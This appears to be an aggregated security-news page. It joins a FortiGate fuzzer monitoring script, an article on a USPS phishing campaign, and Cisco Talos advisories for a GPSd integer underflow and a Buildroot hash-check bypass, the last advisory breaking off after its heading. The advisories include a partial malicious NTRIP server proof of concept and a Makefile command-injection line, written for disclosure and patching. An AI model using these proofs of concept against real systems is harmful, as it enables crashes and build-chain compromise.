This is a small extension script to monitor suff.py, or the Simple Universal Fortigate Fuzzer, and to collect crashlogs for future analysis.

#!/usr/bin/env python3  
# suff_monitor.py -- basic monitoring for fuzzing scenarios (suff/burp/mutiny)  
#   
# -- updates --  
# 22.11.2023 @ 02:23 :: shame init version ready to go  
# 21.11.2023 @ 19:18 :: log me if you can  
# 21.11.2023 @ 15:14 :: added: time, sleep, log2fp  
# 21.11.2023 @ 01:19 :: started this lame code  
#   
# idea - run suff_monitor.py against the box you're testing (fgvm):  
# - add time to sleep and date to log updates  
# - log in (so same creds as for suff.py, postauth testing, etc)  
# - get ver/info -> log2file  
# ** (should be ready at this stage, so): **  
#   while true:  
#       check_diag_deb(+log2file,+a)  
#       sleep 1  
#  end_of_file  
#   
# -------------  
#   
# for more details:  
#   https://code610.blogspot.com/2023/12/monitoring-suff.html  
#   https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html    
#   https://github.com/c610/free/blob/master/suff-v0.1.py  
#   https://github.com/c610/free/blob/master/fg7stack_poc.py  
#   
# 

from netmiko import Netmiko  
import sys,os  
import time  
import paramiko

###################  
##############  
########  
####  
##  
#

fplog = open('saveme.log','+a')

command = 'diag debug crashlog show' # did you enable logs in your FGVM?

def connect_to_crashlog():

         # set up for the target  
    try:

                fw_01 = {  
          'host':'192.168.56.231',  
          'username':'admin',  
          'password':'P@ssw0rd',  
          'device_type':'fortinet',  
          'timeout':3  
          }

        net_connect = Netmiko( **fw_01 )  
        print("+ Connected to FG!")  
        print("+    logfile: savethis.log")

        fplog.write('----starting suff_monitor.py ----\n')  
        fplog.write(net_connect)    
        fplog.write('\n-- results below: --\n')

        # if we're connected: check diag debug crashlog (or any other you'd like to)  
        send_logcheck_cfg = net_connect.send_config_set( command  ) 

                fplog.write(send_logcheck_cfg)  
        fplog.write('\n---- next while loop ----\n')

                print("+ looks like we just sent this command:\n\t%s\n\n" % send_logcheck_cfg )

        print("send_init_cfg finished")

    ## check crashlog finished 

    except paramiko.ssh_exception.SSHException as e:  
        print(" > connection error: %s" % e)

    except ConnectionResetError as e:  
        print("> connection error2: %s" % e)

    except UnboundLocalError as e:  
        print("UnboundLocalError: local variable 'net_connect' referenced before assignment")  
        print("> unbound variable error: %s" % e)

## end of connect_to_crashlog()   
# 

##########  
#### main  
##########

print('y0;[')  
print('starting: connect_to_crashlog()')

while True:

    print('debug: connect_to_crashlog() starting...')

    connect_to_crashlog()

    print("... sleeping 1...")  
    time.sleep(1) 

    print('sleep done. next True iter...')

    ####   
print("finished main()")

Simple Universal Fortigate Fuzzer Extension Script

By Deeba Ahmed
Walmart customers have become the prime target of this phishing scam.
This is a post from HackRead.com Read the original post: USPS Delivery Phishing Scam Exploits SaaS Providers to Steal Data

A new USPS Delivery Phishing Scam has surfaced, in which scammers are exploiting Freemium Dynamic DNS and SaaS Providers to steal victims’ login credentials and other data.

Cybersecurity researchers at Bloster AI have uncovered a new USPS Delivery Phishing campaign that employs sophisticated techniques to target victims in the United States.

It comes as no surprise that cybercriminals are employing sophisticated techniques to exploit reputable services for scams, making it challenging for innocent consumers to enjoy the holiday shopping season. This pattern is evident in the ongoing scam attack against Booking.com customers.

According to Bloster AI, an automated digital risk protection service, Walmart is a prime target this season due to the higher volume of shipping needs during November and December in the USPS phishing attack. Bolster’s CheckPhish has already discovered over 3,000 phishing domains mimicking Walmart.

The extensive phishing campaign mimics USPS, tricking consumers into thinking they have failed deliveries and late payments. Threat actors have substantially improved their attack tactics, transitioning from deceptive/misleading messages to luring victims into downloading financial/banking data-stealing apps.

In their blog post, researchers noted that the domain walmartsco was active while they were writing the blog post. This domain mainly mimicked Walmart’s domain name and served USPS delivery tracking-related content and redirects to the authentic USPS portal to evade detection mechanisms. 

Scammers distribute phishing links via email or SMS and use stolen data to lure victims into giving away sensitive banking data via social engineering techniques. Once a victim’s bank details are acquired, attackers can purchase, transfer money, or gain monetary benefits.

Phishing sites contain a site title such as USPS.com® – USPS Tracking® Results, and are designed to steal sensitive information like email addresses, names, phone numbers, residential addresses, and credit/debit card information. These sites cleverly redirect hyperlinks to legitimate USPS websites and use IP location to evade detection.

In some instances, hackers utilized personal information stolen in this scam, such as email address, phone number, or name, and sent emails/phishing scams pretending to be the victim. Such attacks involving social engineering are more successful if the email/SMS comes from a believable source.

The screenshot shows the phishing email and malicious text messages (Image credit: BlosterAI)

Some phishing sites may also display tracking details as per the victim’s IP locations to appear authentic. Moreover, Bolster researchers noted that threat actors rely on these sites on pushed domains and exploit free hosting services.

These include DNS service hosting provider alviy.com and clear-cloud.com, an app hosting/deploying/maintaining tools provider. Attackers also host phishing sites using available domain names on now-dns.com and forumz.info, etc.

This campaign highlights the dangers of exploiting free hosting services and vulnerabilities in e-commerce platforms. Threat actors are focusing more on SaaS services and using AI technology, social media phishing, and brand impersonation scams to steal/lure customers from profitable sectors, such as finance, healthcare, and government agencies. 

This phishing campaign primarily targets USPS customers in the US, but you may never know when attackers decide to expand the scope of this scam. It has impacted legitimate businesses’ reputations during the busy holiday shopping season. Proactive measures to identify and remove pre-malicious domains either manually or through automated takedown services are crucial to retaining consumer trust. 

****_RELATED ARTICLES_****

1.  **Scammers Leveraging Microsoft Team GIFs in Phishing Attacks**
2.  **Global CDN Service ‘jsdelivr’ Exposed Users to Phishing Attacks**
3.  **Phishing Scam Spoofs German Media, Broadband Conference Anga**
4.  **FBI: Silent Ransom Group Utilizes Callback Phishing for Network Hacks**
5.  **Hackers Aim at Crypto Wallets with Hacked Namecheap Phishing Emails**

USPS Delivery Phishing Scam Exploits SaaS Providers to Steal Data

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GPSd 3.25.1~dev

**PRODUCT URLS**

GPSd - https://gpsd.gitlab.io/gpsd/

**CVSSv3 SCORE**

5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.

GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:

    SOURCETABLE 200 OK
    Content-Type: text/plain
    Content-Length: 6999 
    STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo 
    ENDSOURCETABLE
    

In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.

GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.

    #define NTRIP_BR                "\r\n"
    
    int ntrip_stream_get_parse(struct gps_device_t *device)
    {
    	    ...
        while (1) {
            lexer_getline(lexer);                                   [1]
    		          ...
            if ('\0' == *lexer->outbuffer) {
                // done, never got end of headers.
                break;
            }
    		
            if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) {   [2]
                // done
                break;
            }
        }
        ...
    } The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.
    
    static void lexer_getline(struct gps_lexer_t *lexer)
    {
    	unsigned i;
    	
        for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
            unsigned char u = *lexer->inbufptr++;
    
            lexer->outbuffer[i] = u;
            lexer->inbuflen--;                                   [3]
    
            if ('\0' == u) {
                // found NUL
                break;
            }
            if ('\n' == u) {
                // found return
                i++;
                break;
            }
    
            if (0 == lexer->inbuflen) {                          [4]
                // nothing left to read,  ending not found
                i++;
                break;
            }
        }
    }
    

In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at \[3\]. At \[4\], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.

Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at \[2\]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at \[3\], the lexer->inbuflen is decremented once again, leading to an integer underflow.

Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.

    ...
    if (0 == lexer->inbuflen) {
    	packet_reset(lexer);
    } else {
    	// The "leftover" is the start of the first chunk.
    	if (lexer->inbufptr != lexer->inbuffer) {
    		// Shift inbufptr to the start.  Yes, a bit brutal.
    		memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen);       [5]
    		lexer->inbufptr = lexer->inbuffer;
    	}
    }
    

**Crash Information**

    ==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    #1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
    #2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
    #3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
    #4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
    #5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    
    0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
    SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove
    

**Exploit Proof of Concept**

As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.

        r = s.recv(128)
        print(f"[+] Got request '{r[:16]}', ...")
    
        if len(r) == 0:
            return
    
        if r.startswith(b"GET / HTTP/1.1"):
            print("[+] Sending NTRIP sourcetable")
    
            s.sendall(b"Content-Type: gnss/sourcetable\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"SOURCETABLE\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"STR;TEST;City;CMR+;\r\n")
            s.sendall(b"ENDSOURCETABLE\r\n")
    
        elif r.startswith(b"GET /TEST HTTP/1.1"):
            print("[+] Got stream data request ...")
    
            s.sendall(b"HTTP/1.1 200 OK\r\n")
    

**TIMELINE**

2023-11-22 - Initial Vendor Contact  
2023-11-23 - Vendor Disclosure  
2023-11-29 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Dimitrios Tatsis of Cisco Talos.

CVE-2023-43628: TALOS-2023-1860 || Cisco Talos Intelligence Group

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**SUMMARY**

A data integrity vulnerability exists in the BR\_NO\_CHECK\_HASH\_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.  
In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

    ...
    ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
        BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
    endif
    ...
    

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.  
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

    BR2_LINUX_KERNEL=y
    BR2_LINUX_KERNEL_CUSTOM_GIT=y
    BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
    BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"
    

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.  
For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    >>> linux-headers 123 Downloading
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
    --2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'
    
    /tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]
    
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
    autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
    libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
    automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
    gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
    gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-43608: TALOS-2023-1845 || Cisco Talos Intelligence Group

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.This vulnerability is related to the `mxsldr` package.

**SUMMARY**

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

